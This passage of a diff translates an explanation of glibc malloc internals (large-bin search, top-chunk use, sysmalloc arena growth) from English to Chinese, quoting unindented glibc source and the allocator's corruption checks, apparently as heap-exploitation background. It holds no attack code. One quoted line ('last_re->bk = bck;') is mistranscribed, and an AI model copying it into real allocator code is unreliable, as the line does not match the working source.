*/ +if (victim != last (bin) +&& chunksize_nomask (victim) +== chunksize_nomask (victim->fd)) +victim = victim->fd; - remainder_size = size - nb; - unlink_chunk (av, victim); +remainder_size = size - nb; +unlink_chunk (av, victim); - /* Exhaust */ - if (remainder_size < MINSIZE) - { - set_inuse_bit_at_offset (victim, size); - if (av != &main_arena) - set_non_main_arena (victim); - } - /* Split */ - else - { - remainder = chunk_at_offset (victim, nb); - /* We cannot assume the unsorted list is empty and therefore - have to perform a complete insert here. */ - bck = unsorted_chunks (av); - fwd = bck->fd; - if (__glibc_unlikely (fwd->bk != bck)) - malloc_printerr ("malloc(): corrupted unsorted chunks"); - last_re->bk = bck; - remainder->fd = fwd; - bck->fd = remainder; - fwd->bk = remainder; - if (!in_smallbin_range (remainder_size)) - { - remainder->fd_nextsize = NULL; - remainder->bk_nextsize = NULL; - } - set_head (victim, nb | PREV_INUSE | - (av != &main_arena ? NON_MAIN_ARENA : 0)); - set_head (remainder, remainder_size | PREV_INUSE); - set_foot (remainder, remainder_size); - } - check_malloced_chunk (av, victim, nb); - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } - } +/* Exhaust */ +if (remainder_size < MINSIZE) +{ +set_inuse_bit_at_offset (victim, size); +if (av != &main_arena) +set_non_main_arena (victim); +} +/* Split */ +else +{ +remainder = chunk_at_offset (victim, nb); +/* We cannot assume the unsorted list is empty and therefore +have to perform a complete insert here. */ +bck = unsorted_chunks (av); +fwd = bck->fd; +if (__glibc_unlikely (fwd->bk != bck)) +malloc_printerr ("malloc(): corrupted unsorted chunks"); +last_re->bk = bck; +remainder->fd = fwd; +bck->fd = remainder; +fwd->bk = remainder; +if (!in_smallbin_range (remainder_size)) +{ +remainder->fd_nextsize = NULL; +remainder->bk_nextsize = NULL; +} +set_head (victim, nb | PREV_INUSE | +(av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); +set_foot (remainder, remainder_size); +} +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} +} ``` -
-If a chunk isn't found suitable for this, continue +如果没有找到合适的块,请继续 -### Large Bin (next bigger) +### 大块(下一个更大) -If in the exact large bin there wasn't any chunk that could be used, start looping through all the next large bin (starting y the immediately larger) until one is found (if any). +如果在确切的大块中没有任何可以使用的块,请开始循环遍历所有下一个大块(从立即更大的开始),直到找到一个(如果有的话)。 -The reminder of the split chunk is added in the unsorted bin, last_reminder is updated and the same security check is performed: +分割块的剩余部分被添加到未排序的块中,last_reminder 被更新,并执行相同的安全检查: - `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks2`
-_int_malloc Large bin (next bigger) - +_int_malloc 大块(下一个更大) ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4319C7-L4425C10 /* - Search for a chunk by scanning bins, starting with next largest - bin. This search is strictly by best-fit; i.e., the smallest - (with ties going to approximately the least recently used) chunk - that fits is selected. +Search for a chunk by scanning bins, starting with next largest +bin. This search is strictly by best-fit; i.e., the smallest +(with ties going to approximately the least recently used) chunk +that fits is selected. - The bitmap avoids needing to check that most blocks are nonempty. - The particular case of skipping all bins during warm-up phases - when no chunks have been returned yet is faster than it might look. - */ +The bitmap avoids needing to check that most blocks are nonempty. +The particular case of skipping all bins during warm-up phases +when no chunks have been returned yet is faster than it might look. +*/ - ++idx; - bin = bin_at (av, idx); - block = idx2block (idx); - map = av->binmap[block]; - bit = idx2bit (idx); +++idx; +bin = bin_at (av, idx); +block = idx2block (idx); +map = av->binmap[block]; +bit = idx2bit (idx); - for (;; ) - { - /* Skip rest of block if there are no more set bits in this block. */ - if (bit > map || bit == 0) - { - do - { - if (++block >= BINMAPSIZE) /* out of bins */ - goto use_top; - } - while ((map = av->binmap[block]) == 0); +for (;; ) +{ +/* Skip rest of block if there are no more set bits in this block. */ +if (bit > map || bit == 0) +{ +do +{ +if (++block >= BINMAPSIZE) /* out of bins */ +goto use_top; +} +while ((map = av->binmap[block]) == 0); - bin = bin_at (av, (block << BINMAPSHIFT)); - bit = 1; - } +bin = bin_at (av, (block << BINMAPSHIFT)); +bit = 1; +} - /* Advance to bin with set bit. There must be one. */ - while ((bit & map) == 0) - { - bin = next_bin (bin); - bit <<= 1; - assert (bit != 0); - } +/* Advance to bin with set bit. There must be one. */ +while ((bit & map) == 0) +{ +bin = next_bin (bin); +bit <<= 1; +assert (bit != 0); +} - /* Inspect the bin. It is likely to be non-empty */ - victim = last (bin); +/* Inspect the bin. It is likely to be non-empty */ +victim = last (bin); - /* If a false alarm (empty bin), clear the bit. */ - if (victim == bin) - { - av->binmap[block] = map &= ~bit; /* Write through */ - bin = next_bin (bin); - bit <<= 1; - } +/* If a false alarm (empty bin), clear the bit. */ +if (victim == bin) +{ +av->binmap[block] = map &= ~bit; /* Write through */ +bin = next_bin (bin); +bit <<= 1; +} - else - { - size = chunksize (victim); +else +{ +size = chunksize (victim); - /* We know the first chunk in this bin is big enough to use. */ - assert ((unsigned long) (size) >= (unsigned long) (nb)); +/* We know the first chunk in this bin is big enough to use. */ +assert ((unsigned long) (size) >= (unsigned long) (nb)); - remainder_size = size - nb; +remainder_size = size - nb; - /* unlink */ - unlink_chunk (av, victim); +/* unlink */ +unlink_chunk (av, victim); - /* Exhaust */ - if (remainder_size < MINSIZE) - { - set_inuse_bit_at_offset (victim, size); - if (av != &main_arena) - set_non_main_arena (victim); - } +/* Exhaust */ +if (remainder_size < MINSIZE) +{ +set_inuse_bit_at_offset (victim, size); +if (av != &main_arena) +set_non_main_arena (victim); +} - /* Split */ - else - { - remainder = chunk_at_offset (victim, nb); +/* Split */ +else +{ +remainder = chunk_at_offset (victim, nb); - /* We cannot assume the unsorted list is empty and therefore - have to perform a complete insert here. */ - bck = unsorted_chunks (av); - fwd = bck->fd; - if (__glibc_unlikely (fwd->bk != bck)) - malloc_printerr ("malloc(): corrupted unsorted chunks 2"); - remainder->bk = bck; - remainder->fd = fwd; - bck->fd = remainder; - fwd->bk = remainder; +/* We cannot assume the unsorted list is empty and therefore +have to perform a complete insert here. */ +bck = unsorted_chunks (av); +fwd = bck->fd; +if (__glibc_unlikely (fwd->bk != bck)) +malloc_printerr ("malloc(): corrupted unsorted chunks 2"); +remainder->bk = bck; +remainder->fd = fwd; +bck->fd = remainder; +fwd->bk = remainder; - /* advertise as last remainder */ - if (in_smallbin_range (nb)) - av->last_remainder = remainder; - if (!in_smallbin_range (remainder_size)) - { - remainder->fd_nextsize = NULL; - remainder->bk_nextsize = NULL; - } - set_head (victim, nb | PREV_INUSE | - (av != &main_arena ? NON_MAIN_ARENA : 0)); - set_head (remainder, remainder_size | PREV_INUSE); - set_foot (remainder, remainder_size); - } - check_malloced_chunk (av, victim, nb); - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } - } +/* advertise as last remainder */ +if (in_smallbin_range (nb)) +av->last_remainder = remainder; +if (!in_smallbin_range (remainder_size)) +{ +remainder->fd_nextsize = NULL; +remainder->bk_nextsize = NULL; +} +set_head (victim, nb | PREV_INUSE | +(av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); +set_foot (remainder, remainder_size); +} +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} +} ``` -
-### Top Chunk +### 顶部块 -At this point, it's time to get a new chunk from the Top chunk (if big enough). +此时,是时候从顶部块获取一个新块(如果足够大)。 -It starts with a security check making sure that the size of the chunk size is not too big (corrupted): +它首先进行安全检查,确保块的大小不太大(已损坏): - `chunksize(av->top) > av->system_mem`: `malloc(): corrupted top size` -Then, it'll use the top chunk space if it's large enough to create a chunk of the requested size.\ -If not, if there are fast chunks, consolidate them and try again.\ -Finally, if not enough space use `sysmalloc` to allocate enough size. +然后,如果顶部块空间足够大,将其用于创建请求大小的块。\ +如果不够大,如果有快速块,则合并它们并重试。\ +最后,如果空间仍然不足,使用 `sysmalloc` 分配足够的大小。
-_int_malloc Top chunk - +_int_malloc 顶部块 ```c use_top: - /* - If large enough, split off the chunk bordering the end of memory - (held in av->top). Note that this is in accord with the best-fit - search rule. In effect, av->top is treated as larger (and thus - less well fitting) than any other available chunk since it can - be extended to be as large as necessary (up to system - limitations). +/* +If large enough, split off the chunk bordering the end of memory +(held in av->top). Note that this is in accord with the best-fit +search rule. In effect, av->top is treated as larger (and thus +less well fitting) than any other available chunk since it can +be extended to be as large as necessary (up to system +limitations). - We require that av->top always exists (i.e., has size >= - MINSIZE) after initialization, so if it would otherwise be - exhausted by current request, it is replenished. (The main - reason for ensuring it exists is that we may need MINSIZE space - to put in fenceposts in sysmalloc.) - */ +We require that av->top always exists (i.e., has size >= +MINSIZE) after initialization, so if it would otherwise be +exhausted by current request, it is replenished. (The main +reason for ensuring it exists is that we may need MINSIZE space +to put in fenceposts in sysmalloc.) +*/ - victim = av->top; - size = chunksize (victim); +victim = av->top; +size = chunksize (victim); - if (__glibc_unlikely (size > av->system_mem)) - malloc_printerr ("malloc(): corrupted top size"); +if (__glibc_unlikely (size > av->system_mem)) +malloc_printerr ("malloc(): corrupted top size"); - if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) - { - remainder_size = size - nb; - remainder = chunk_at_offset (victim, nb); - av->top = remainder; - set_head (victim, nb | PREV_INUSE | - (av != &main_arena ? NON_MAIN_ARENA : 0)); - set_head (remainder, remainder_size | PREV_INUSE); +if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) +{ +remainder_size = size - nb; +remainder = chunk_at_offset (victim, nb); +av->top = remainder; +set_head (victim, nb | PREV_INUSE | +(av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); - check_malloced_chunk (av, victim, nb); - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} - /* When we are using atomic ops to free fast chunks we can get - here for all block sizes. */ - else if (atomic_load_relaxed (&av->have_fastchunks)) - { - malloc_consolidate (av); - /* restore original bin index */ - if (in_smallbin_range (nb)) - idx = smallbin_index (nb); - else - idx = largebin_index (nb); - } +/* When we are using atomic ops to free fast chunks we can get +here for all block sizes. */ +else if (atomic_load_relaxed (&av->have_fastchunks)) +{ +malloc_consolidate (av); +/* restore original bin index */ +if (in_smallbin_range (nb)) +idx = smallbin_index (nb); +else +idx = largebin_index (nb); +} - /* - Otherwise, relay to handle system-dependent cases - */ - else - { - void *p = sysmalloc (nb, av); - if (p != NULL) - alloc_perturb (p, bytes); - return p; - } - } +/* +Otherwise, relay to handle system-dependent cases +*/ +else +{ +void *p = sysmalloc (nb, av); +if (p != NULL) +alloc_perturb (p, bytes); +return p; +} +} } ``` -
## sysmalloc -### sysmalloc start +### sysmalloc 开始 -If arena is null or the requested size is too big (and there are mmaps left permitted) use `sysmalloc_mmap` to allocate space and return it. +如果 arena 为 null 或请求的大小太大(并且允许的 mmaps 仍然存在),则使用 `sysmalloc_mmap` 分配空间并返回。
-sysmalloc start - +sysmalloc 开始 ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2531 /* - sysmalloc handles malloc cases requiring more memory from the system. - On entry, it is assumed that av->top does not have enough - space to service request for nb bytes, thus requiring that av->top - be extended or replaced. - */ +sysmalloc handles malloc cases requiring more memory from the system. +On entry, it is assumed that av->top does not have enough +space to service request for nb bytes, thus requiring that av->top +be extended or replaced. +*/ - static void * +static void * sysmalloc (INTERNAL_SIZE_T nb, mstate av) { - mchunkptr old_top; /* incoming value of av->top */ - INTERNAL_SIZE_T old_size; /* its size */ - char *old_end; /* its end address */ +mchunkptr old_top; /* incoming value of av->top */ +INTERNAL_SIZE_T old_size; /* its size */ +char *old_end; /* its end address */ - long size; /* arg to first MORECORE or mmap call */ - char *brk; /* return value from MORECORE */ +long size; /* arg to first MORECORE or mmap call */ +char *brk; /* return value from MORECORE */ - long correction; /* arg to 2nd MORECORE call */ - char *snd_brk; /* 2nd return val */ +long correction; /* arg to 2nd MORECORE call */ +char *snd_brk; /* 2nd return val */ - INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */ - INTERNAL_SIZE_T end_misalign; /* partial page left at end of new space */ - char *aligned_brk; /* aligned offset into brk */ +INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */ +INTERNAL_SIZE_T end_misalign; /* partial page left at end of new space */ +char *aligned_brk; /* aligned offset into brk */ - mchunkptr p; /* the allocated/returned chunk */ - mchunkptr remainder; /* remainder from allocation */ - unsigned long remainder_size; /* its size */ +mchunkptr p; /* the allocated/returned chunk */ +mchunkptr remainder; /* remainder from allocation */ +unsigned long remainder_size; /* its size */ - size_t pagesize = GLRO (dl_pagesize); - bool tried_mmap = false; +size_t pagesize = GLRO (dl_pagesize); +bool tried_mmap = false; - /* - If have mmap, and the request size meets the mmap threshold, and - the system supports mmap, and there are few enough currently - allocated mmapped regions, try to directly map this request - rather than expanding top. - */ +/* +If have mmap, and the request size meets the mmap threshold, and +the system supports mmap, and there are few enough currently +allocated mmapped regions, try to directly map this request +rather than expanding top. +*/ - if (av == NULL - || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) - && (mp_.n_mmaps < mp_.n_mmaps_max))) - { - char *mm; - if (mp_.hp_pagesize > 0 && nb >= mp_.hp_pagesize) - { - /* There is no need to issue the THP madvise call if Huge Pages are - used directly. */ - mm = sysmalloc_mmap (nb, mp_.hp_pagesize, mp_.hp_flags, av); - if (mm != MAP_FAILED) - return mm; - } - mm = sysmalloc_mmap (nb, pagesize, 0, av); - if (mm != MAP_FAILED) - return mm; - tried_mmap = true; - } +if (av == NULL +|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) +&& (mp_.n_mmaps < mp_.n_mmaps_max))) +{ +char *mm; +if (mp_.hp_pagesize > 0 && nb >= mp_.hp_pagesize) +{ +/* There is no need to issue the THP madvise call if Huge Pages are +used directly. */ +mm = sysmalloc_mmap (nb, mp_.hp_pagesize, mp_.hp_flags, av); +if (mm != MAP_FAILED) +return mm; +} +mm = sysmalloc_mmap (nb, pagesize, 0, av); +if (mm != MAP_FAILED) +return mm; +tried_mmap = true; +} - /* There are no usable arenas and mmap also failed. */ - if (av == NULL) - return 0; +/* There are no usable arenas and mmap also failed. */ +if (av == NULL) +return 0; ``` -
-### sysmalloc checks +### sysmalloc 检查 -It starts by getting old top chunk information and checking that some of the following condations are true: +它首先获取旧的 top chunk 信息,并检查以下条件是否为真: -- The old heap size is 0 (new heap) -- The size of the previous heap is greater and MINSIZE and the old Top is in use -- The heap is aligned to page size (0x1000 so the lower 12 bits need to be 0) +- 旧的堆大小为 0(新堆) +- 前一个堆的大小大于 MINSIZE 且旧的 Top 正在使用中 +- 堆与页面大小对齐(0x1000,因此低 12 位需要为 0) -Then it also checks that: +然后它还检查: -- The old size hasn't enough space to create a chunk for the requested size +- 旧的大小没有足够的空间为请求的大小创建一个 chunk
-sysmalloc checks - +sysmalloc 检查 ```c /* Record incoming configuration of top */ - old_top = av->top; - old_size = chunksize (old_top); - old_end = (char *) (chunk_at_offset (old_top, old_size)); +old_top = av->top; +old_size = chunksize (old_top); +old_end = (char *) (chunk_at_offset (old_top, old_size)); - brk = snd_brk = (char *) (MORECORE_FAILURE); +brk = snd_brk = (char *) (MORECORE_FAILURE); - /* - If not the first time through, we require old_size to be - at least MINSIZE and to have prev_inuse set. - */ +/* +If not the first time through, we require old_size to be +at least MINSIZE and to have prev_inuse set. +*/ - assert ((old_top == initial_top (av) && old_size == 0) || - ((unsigned long) (old_size) >= MINSIZE && - prev_inuse (old_top) && - ((unsigned long) old_end & (pagesize - 1)) == 0)); +assert ((old_top == initial_top (av) && old_size == 0) || +((unsigned long) (old_size) >= MINSIZE && +prev_inuse (old_top) && +((unsigned long) old_end & (pagesize - 1)) == 0)); - /* Precondition: not enough current space to satisfy nb request */ - assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)); +/* Precondition: not enough current space to satisfy nb request */ +assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)); ``` -
-### sysmalloc not main arena +### sysmalloc 不是主区域 -It'll first try to **extend** the previous heap for this heap. If not possible try to **allocate a new heap** and update the pointers to be able to use it.\ -Finally if that didn't work, try calling **`sysmalloc_mmap`**. +它将首先尝试 **扩展** 之前的堆。如果不可能,则尝试 **分配一个新的堆** 并更新指针以便能够使用它。\ +最后,如果这也不行,尝试调用 **`sysmalloc_mmap`**。
-sysmalloc not main arena - +sysmalloc 不是主区域 ```c if (av != &main_arena) - { - heap_info *old_heap, *heap; - size_t old_heap_size; +{ +heap_info *old_heap, *heap; +size_t old_heap_size; - /* First try to extend the current heap. */ - old_heap = heap_for_ptr (old_top); - old_heap_size = old_heap->size; - if ((long) (MINSIZE + nb - old_size) > 0 - && grow_heap (old_heap, MINSIZE + nb - old_size) == 0) - { - av->system_mem += old_heap->size - old_heap_size; - set_head (old_top, (((char *) old_heap + old_heap->size) - (char *) old_top) - | PREV_INUSE); - } - else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad))) - { - /* Use a newly allocated heap. */ - heap->ar_ptr = av; - heap->prev = old_heap; - av->system_mem += heap->size; - /* Set up the new top. */ - top (av) = chunk_at_offset (heap, sizeof (*heap)); - set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE); +/* First try to extend the current heap. */ +old_heap = heap_for_ptr (old_top); +old_heap_size = old_heap->size; +if ((long) (MINSIZE + nb - old_size) > 0 +&& grow_heap (old_heap, MINSIZE + nb - old_size) == 0) +{ +av->system_mem += old_heap->size - old_heap_size; +set_head (old_top, (((char *) old_heap + old_heap->size) - (char *) old_top) +| PREV_INUSE); +} +else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad))) +{ +/* Use a newly allocated heap. */ +heap->ar_ptr = av; +heap->prev = old_heap; +av->system_mem += heap->size; +/* Set up the new top. */ +top (av) = chunk_at_offset (heap, sizeof (*heap)); +set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE); - /* Setup fencepost and free the old top chunk with a multiple of - MALLOC_ALIGNMENT in size. */ - /* The fencepost takes at least MINSIZE bytes, because it might - become the top chunk again later. Note that a footer is set - up, too, although the chunk is marked in use. */ - old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK; - set_head (chunk_at_offset (old_top, old_size + CHUNK_HDR_SZ), - 0 | PREV_INUSE); - if (old_size >= MINSIZE) - { - set_head (chunk_at_offset (old_top, old_size), - CHUNK_HDR_SZ | PREV_INUSE); - set_foot (chunk_at_offset (old_top, old_size), CHUNK_HDR_SZ); - set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA); - _int_free (av, old_top, 1); - } - else - { - set_head (old_top, (old_size + CHUNK_HDR_SZ) | PREV_INUSE); - set_foot (old_top, (old_size + CHUNK_HDR_SZ)); - } - } - else if (!tried_mmap) - { - /* We can at least try to use to mmap memory. If new_heap fails - it is unlikely that trying to allocate huge pages will - succeed. */ - char *mm = sysmalloc_mmap (nb, pagesize, 0, av); - if (mm != MAP_FAILED) - return mm; - } - } +/* Setup fencepost and free the old top chunk with a multiple of +MALLOC_ALIGNMENT in size. */ +/* The fencepost takes at least MINSIZE bytes, because it might +become the top chunk again later. Note that a footer is set +up, too, although the chunk is marked in use. */ +old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK; +set_head (chunk_at_offset (old_top, old_size + CHUNK_HDR_SZ), +0 | PREV_INUSE); +if (old_size >= MINSIZE) +{ +set_head (chunk_at_offset (old_top, old_size), +CHUNK_HDR_SZ | PREV_INUSE); +set_foot (chunk_at_offset (old_top, old_size), CHUNK_HDR_SZ); +set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA); +_int_free (av, old_top, 1); +} +else +{ +set_head (old_top, (old_size + CHUNK_HDR_SZ) | PREV_INUSE); +set_foot (old_top, (old_size + CHUNK_HDR_SZ)); +} +} +else if (!tried_mmap) +{ +/* We can at least try to use to mmap memory. If new_heap fails +it is unlikely that trying to allocate huge pages will +succeed. */ +char *mm = sysmalloc_mmap (nb, pagesize, 0, av); +if (mm != MAP_FAILED) +return mm; +} +} ``` -
-### sysmalloc main arena +### sysmalloc 主区域 -It starts calculating the amount of memory needed. It'll start by requesting contiguous memory so in this case it'll be possible to use the old memory not used. Also some align operations are performed. +它开始计算所需的内存量。它将首先请求连续的内存,因此在这种情况下可以使用未使用的旧内存。同时还会执行一些对齐操作。
-sysmalloc main arena - +sysmalloc 主区域 ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2665C1-L2713C10 - else /* av == main_arena */ +else /* av == main_arena */ - { /* Request enough space for nb + pad + overhead */ - size = nb + mp_.top_pad + MINSIZE; +{ /* Request enough space for nb + pad + overhead */ +size = nb + mp_.top_pad + MINSIZE; - /* - If contiguous, we can subtract out existing space that we hope to - combine with new space. We add it back later only if - we don't actually get contiguous space. - */ +/* +If contiguous, we can subtract out existing space that we hope to +combine with new space. We add it back later only if +we don't actually get contiguous space. +*/ - if (contiguous (av)) - size -= old_size; +if (contiguous (av)) +size -= old_size; - /* - Round to a multiple of page size or huge page size. - If MORECORE is not contiguous, this ensures that we only call it - with whole-page arguments. And if MORECORE is contiguous and - this is not first time through, this preserves page-alignment of - previous calls. Otherwise, we correct to page-align below. - */ +/* +Round to a multiple of page size or huge page size. +If MORECORE is not contiguous, this ensures that we only call it +with whole-page arguments. And if MORECORE is contiguous and +this is not first time through, this preserves page-alignment of +previous calls. Otherwise, we correct to page-align below. +*/ #ifdef MADV_HUGEPAGE - /* Defined in brk.c. */ - extern void *__curbrk; - if (__glibc_unlikely (mp_.thp_pagesize != 0)) - { - uintptr_t top = ALIGN_UP ((uintptr_t) __curbrk + size, - mp_.thp_pagesize); - size = top - (uintptr_t) __curbrk; - } - else +/* Defined in brk.c. */ +extern void *__curbrk; +if (__glibc_unlikely (mp_.thp_pagesize != 0)) +{ +uintptr_t top = ALIGN_UP ((uintptr_t) __curbrk + size, +mp_.thp_pagesize); +size = top - (uintptr_t) __curbrk; +} +else #endif - size = ALIGN_UP (size, GLRO(dl_pagesize)); +size = ALIGN_UP (size, GLRO(dl_pagesize)); - /* - Don't try to call MORECORE if argument is so big as to appear - negative. Note that since mmap takes size_t arg, it may succeed - below even if we cannot call MORECORE. - */ +/* +Don't try to call MORECORE if argument is so big as to appear +negative. Note that since mmap takes size_t arg, it may succeed +below even if we cannot call MORECORE. +*/ - if (size > 0) - { - brk = (char *) (MORECORE (size)); - if (brk != (char *) (MORECORE_FAILURE)) - madvise_thp (brk, size); - LIBC_PROBE (memory_sbrk_more, 2, brk, size); - } +if (size > 0) +{ +brk = (char *) (MORECORE (size)); +if (brk != (char *) (MORECORE_FAILURE)) +madvise_thp (brk, size); +LIBC_PROBE (memory_sbrk_more, 2, brk, size); +} ``` -
-### sysmalloc main arena previous error 1 +### sysmalloc 主区域之前的错误 1 -If the previous returned `MORECORE_FAILURE`, try agin to allocate memory using `sysmalloc_mmap_fallback` +如果之前返回了 `MORECORE_FAILURE`,请再次尝试使用 `sysmalloc_mmap_fallback` 分配内存
-sysmalloc main arena previous error 1 - +sysmalloc 主区域之前的错误 1 ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2715C7-L2740C10 if (brk == (char *) (MORECORE_FAILURE)) - { - /* - If have mmap, try using it as a backup when MORECORE fails or - cannot be used. This is worth doing on systems that have "holes" in - address space, so sbrk cannot extend to give contiguous space, but - space is available elsewhere. Note that we ignore mmap max count - and threshold limits, since the space will not be used as a - segregated mmap region. - */ +{ +/* +If have mmap, try using it as a backup when MORECORE fails or +cannot be used. This is worth doing on systems that have "holes" in +address space, so sbrk cannot extend to give contiguous space, but +space is available elsewhere. Note that we ignore mmap max count +and threshold limits, since the space will not be used as a +segregated mmap region. +*/ - char *mbrk = MAP_FAILED; - if (mp_.hp_pagesize > 0) - mbrk = sysmalloc_mmap_fallback (&size, nb, old_size, - mp_.hp_pagesize, mp_.hp_pagesize, - mp_.hp_flags, av); - if (mbrk == MAP_FAILED) - mbrk = sysmalloc_mmap_fallback (&size, nb, old_size, MMAP_AS_MORECORE_SIZE, - pagesize, 0, av); - if (mbrk != MAP_FAILED) - { - /* We do not need, and cannot use, another sbrk call to find end */ - brk = mbrk; - snd_brk = brk + size; - } - } +char *mbrk = MAP_FAILED; +if (mp_.hp_pagesize > 0) +mbrk = sysmalloc_mmap_fallback (&size, nb, old_size, +mp_.hp_pagesize, mp_.hp_pagesize, +mp_.hp_flags, av); +if (mbrk == MAP_FAILED) +mbrk = sysmalloc_mmap_fallback (&size, nb, old_size, MMAP_AS_MORECORE_SIZE, +pagesize, 0, av); +if (mbrk != MAP_FAILED) +{ +/* We do not need, and cannot use, another sbrk call to find end */ +brk = mbrk; +snd_brk = brk + size; +} +} ``` -
-### sysmalloc main arena continue +### sysmalloc 主区域继续 -If the previous didn't return `MORECORE_FAILURE`, if it worked create some alignments: +如果之前没有返回 `MORECORE_FAILURE`,如果成功则创建一些对齐:
-sysmalloc main arena previous error 2 - +sysmalloc 主区域之前的错误 2 ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2742 if (brk != (char *) (MORECORE_FAILURE)) - { - if (mp_.sbrk_base == 0) - mp_.sbrk_base = brk; - av->system_mem += size; +{ +if (mp_.sbrk_base == 0) +mp_.sbrk_base = brk; +av->system_mem += size; - /* - If MORECORE extends previous space, we can likewise extend top size. - */ +/* +If MORECORE extends previous space, we can likewise extend top size. +*/ - if (brk == old_end && snd_brk == (char *) (MORECORE_FAILURE)) - set_head (old_top, (size + old_size) | PREV_INUSE); +if (brk == old_end && snd_brk == (char *) (MORECORE_FAILURE)) +set_head (old_top, (size + old_size) | PREV_INUSE); - else if (contiguous (av) && old_size && brk < old_end) - /* Oops! Someone else killed our space.. Can't touch anything. */ - malloc_printerr ("break adjusted to free malloc space"); +else if (contiguous (av) && old_size && brk < old_end) +/* Oops! Someone else killed our space.. Can't touch anything. */ +malloc_printerr ("break adjusted to free malloc space"); - /* - Otherwise, make adjustments: +/* +Otherwise, make adjustments: - * If the first time through or noncontiguous, we need to call sbrk - just to find out where the end of memory lies. +* If the first time through or noncontiguous, we need to call sbrk +just to find out where the end of memory lies. - * We need to ensure that all returned chunks from malloc will meet - MALLOC_ALIGNMENT +* We need to ensure that all returned chunks from malloc will meet +MALLOC_ALIGNMENT - * If there was an intervening foreign sbrk, we need to adjust sbrk - request size to account for fact that we will not be able to - combine new space with existing space in old_top. +* If there was an intervening foreign sbrk, we need to adjust sbrk +request size to account for fact that we will not be able to +combine new space with existing space in old_top. - * Almost all systems internally allocate whole pages at a time, in - which case we might as well use the whole last page of request. - So we allocate enough more memory to hit a page boundary now, - which in turn causes future contiguous calls to page-align. - */ +* Almost all systems internally allocate whole pages at a time, in +which case we might as well use the whole last page of request. +So we allocate enough more memory to hit a page boundary now, +which in turn causes future contiguous calls to page-align. +*/ - else - { - front_misalign = 0; - end_misalign = 0; - correction = 0; - aligned_brk = brk; +else +{ +front_misalign = 0; +end_misalign = 0; +correction = 0; +aligned_brk = brk; - /* handle contiguous cases */ - if (contiguous (av)) - { - /* Count foreign sbrk as system_mem. */ - if (old_size) - av->system_mem += brk - old_end; +/* handle contiguous cases */ +if (contiguous (av)) +{ +/* Count foreign sbrk as system_mem. */ +if (old_size) +av->system_mem += brk - old_end; - /* Guarantee alignment of first new chunk made from this space */ +/* Guarantee alignment of first new chunk made from this space */ - front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK; - if (front_misalign > 0) - { - /* - Skip over some bytes to arrive at an aligned position. - We don't need to specially mark these wasted front bytes. - They will never be accessed anyway because - prev_inuse of av->top (and any chunk created from its start) - is always true after initialization. - */ +front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK; +if (front_misalign > 0) +{ +/* +Skip over some bytes to arrive at an aligned position. +We don't need to specially mark these wasted front bytes. +They will never be accessed anyway because +prev_inuse of av->top (and any chunk created from its start) +is always true after initialization. +*/ - correction = MALLOC_ALIGNMENT - front_misalign; - aligned_brk += correction; - } +correction = MALLOC_ALIGNMENT - front_misalign; +aligned_brk += correction; +} - /* - If this isn't adjacent to existing space, then we will not - be able to merge with old_top space, so must add to 2nd request. - */ +/* +If this isn't adjacent to existing space, then we will not +be able to merge with old_top space, so must add to 2nd request. +*/ - correction += old_size; +correction += old_size; - /* Extend the end address to hit a page boundary */ - end_misalign = (INTERNAL_SIZE_T) (brk + size + correction); - correction += (ALIGN_UP (end_misalign, pagesize)) - end_misalign; +/* Extend the end address to hit a page boundary */ +end_misalign = (INTERNAL_SIZE_T) (brk + size + correction); +correction += (ALIGN_UP (end_misalign, pagesize)) - end_misalign; - assert (correction >= 0); - snd_brk = (char *) (MORECORE (correction)); +assert (correction >= 0); +snd_brk = (char *) (MORECORE (correction)); - /* - If can't allocate correction, try to at least find out current - brk. It might be enough to proceed without failing. +/* +If can't allocate correction, try to at least find out current +brk. It might be enough to proceed without failing. - Note that if second sbrk did NOT fail, we assume that space - is contiguous with first sbrk. This is a safe assumption unless - program is multithreaded but doesn't use locks and a foreign sbrk - occurred between our first and second calls. - */ +Note that if second sbrk did NOT fail, we assume that space +is contiguous with first sbrk. This is a safe assumption unless +program is multithreaded but doesn't use locks and a foreign sbrk +occurred between our first and second calls. +*/ - if (snd_brk == 